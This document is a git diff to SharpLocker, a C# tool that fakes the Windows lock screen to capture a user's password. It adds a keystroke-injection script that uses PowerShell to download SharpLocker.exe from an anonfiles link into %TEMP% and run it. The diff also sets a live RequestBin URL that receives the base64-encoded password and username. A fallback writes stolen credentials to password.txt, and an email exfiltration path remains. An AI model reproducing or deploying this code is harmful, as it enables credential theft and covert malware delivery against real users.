diff --git a/.gitignore b/.gitignore
index 4ce6fdd..9aa433a 100644
--- a/.gitignore
+++ b/.gitignore
@@ -337,4 +337,7 @@ ASALocalRun/
.localhistory/
# BeatPulse healthcheck temp database
-healthchecksdb
\ No newline at end of file
+healthchecksdb
+
+# Others
+SharpLocker/TODO.txt
\ No newline at end of file
diff --git a/SharpLock.txt b/SharpLock.txt
new file mode 100644
index 0000000..cf70f31
--- /dev/null
+++ b/SharpLock.txt
@@ -0,0 +1,15 @@
+REM ====> COURTESY OF SEYTONIC <====
+REM ====> https://www.youtube.com/watch?v=JYi_H9n5xjw <====
+REM ====> Executes Sharplock <====
+REM ====> Instructions: Get Sharplock from Github, compile it in VisualStudio and upload .exe to anonfile.com <====
+
+DELAY 4000
+GUI r
+DELAY 150
+STRING powershell (new-object System.Net.WebClient).DownloadFile('https://cdn-35.anonfiles.com/V7XegdZ0o1/16e0b046-1601127563/SharpLocker.exe','%TEMP%\f.exe');
+ENTER
+Delay 400
+GUI r
+DELAY 150
+STRING %TEMP%\f.exe
+ENTER
\ No newline at end of file
diff --git a/SharpLocker/DataExtractor.cs b/SharpLocker/DataExtractor.cs
index 2d01312..2af0b5d 100644
--- a/SharpLocker/DataExtractor.cs
+++ b/SharpLocker/DataExtractor.cs
@@ -1,4 +1,5 @@
using System;
+using System.IO;
using System.Net;
using System.Net.Mail;
using System.Text;
@@ -10,13 +11,16 @@ public static class DataExtractor
public static void Extract(string password)
{
//Extract with request bin
- ExtractWithRequastBin(password);
+ ExtractWithRequestBin(password);
//Extract with email
//ExtractWithEmail(password);
+
+ //Extract to text file
+ //ExtractToFile(password);
}
- static void ExtractWithRequastBin(string password)
+ private static void ExtractWithRequestBin(string password)
{
//http://requestbin.net
//RequestBin is a service that allows you to inspect requests.
@@ -25,7 +29,7 @@ static void ExtractWithRequastBin(string password)
//YOUR RequestBin link
//format: http://requestbin.net/r/xxxxxxxx
- string url = "http://requestbin.net/r/rv6v9wrv";
+ string url = "http://requestbin.net/r/1d8vuu91";
bool EncodeWithBase64 = true;
bool IncludeUsername = true;
@@ -49,12 +53,20 @@ static void ExtractWithRequastBin(string password)
p = Convert.ToBase64String(plainTextBytes);
}
- HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url + "?" + p);
- req.GetResponse();
+ try
+ {
+ HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url + "?" + p);
+ req.GetResponse();
+ }
+ catch (Exception e)
+ {
+ Console.WriteLine("Exception: " + e.Message);
+ ExtractToFile(p);
+ }
}
- static void ExtractWithEmail(string password)
+ private static void ExtractWithEmail(string password)
{
//This sends an email with the password and computer details.
@@ -66,7 +78,7 @@ static void ExtractWithEmail(string password)
//Don't touch this!
string body = "Password: " + password + " Username&Domain: " + System.Security.Principal.WindowsIdentity.GetCurrent().Name;
- MailMessage msg = new MailMessage(e_address, e_address, "Windwos Password on " + System.Security.Principal.WindowsIdentity.GetCurrent().Name, body);
+ MailMessage msg = new MailMessage(e_address, e_address, "Windows Password on " + System.Security.Principal.WindowsIdentity.GetCurrent().Name, body);
msg.IsBodyHtml = true;
SmtpClient sc = new SmtpClient(e_host_addr, e_host_port);
sc.UseDefaultCredentials = false;
@@ -75,5 +87,28 @@ static void ExtractWithEmail(string password)
sc.EnableSsl = true;
sc.Send(msg);
}
+
+ ///
+ /// Extract the logged information to a text file
+ /// The file is stored in the current user directory
+ ///
+ ///
+ private static void ExtractToFile(string password)
+ {
+ string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
+ string user = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
+ string text = "Password: " + password + " Username&Domain: " + user;
+
+ try
+ {
+ StreamWriter streamWriter = new StreamWriter($"{path}\\password.txt");
+ streamWriter.WriteLine(text);
+ streamWriter.Close();
+ }
+ catch(IOException e)
+ {
+ Console.WriteLine("Exception: " + e.Message);
+ }
+ }
}
}
diff --git a/SharpLocker/LockScreenForm.Designer.cs b/SharpLocker/LockScreenForm.Designer.cs
index 0395c78..115fe46 100644
--- a/SharpLocker/LockScreenForm.Designer.cs
+++ b/SharpLocker/LockScreenForm.Designer.cs
@@ -1,5 +1,8 @@
using SharpLocker;
+using System;
+using System.Drawing;
using System.Drawing.Drawing2D;
+using System.Drawing.Imaging;
using System.Windows.Forms;
namespace SharpLocker
@@ -230,6 +233,7 @@ private void InitializeComponent()
}
#endregion
+
private CustomPictureBox ProfileIcon;
private System.Windows.Forms.Label UserNameLabel;
private System.Windows.Forms.TextBox PasswordTextBox;
diff --git a/SharpLocker/LockScreenForm.cs b/SharpLocker/LockScreenForm.cs
index 4a10768..7b145f7 100644
--- a/SharpLocker/LockScreenForm.cs
+++ b/SharpLocker/LockScreenForm.cs
@@ -52,6 +52,7 @@ public LockScreenForm()
this.TopMost = true;
string userName = System.DirectoryServices.AccountManagement.UserPrincipal.Current.DisplayName;
+ if(userName == null) userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name.Split('\\')[1];
UserNameLabel.Text = userName;
UserNameLabel.BackColor = System.Drawing.Color.Transparent;
diff --git a/SharpLocker/Program.cs b/SharpLocker/Program.cs
index d995d8d..e63b78d 100644
--- a/SharpLocker/Program.cs
+++ b/SharpLocker/Program.cs
@@ -14,7 +14,6 @@ static void Main()
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new LockScreenForm());
-
}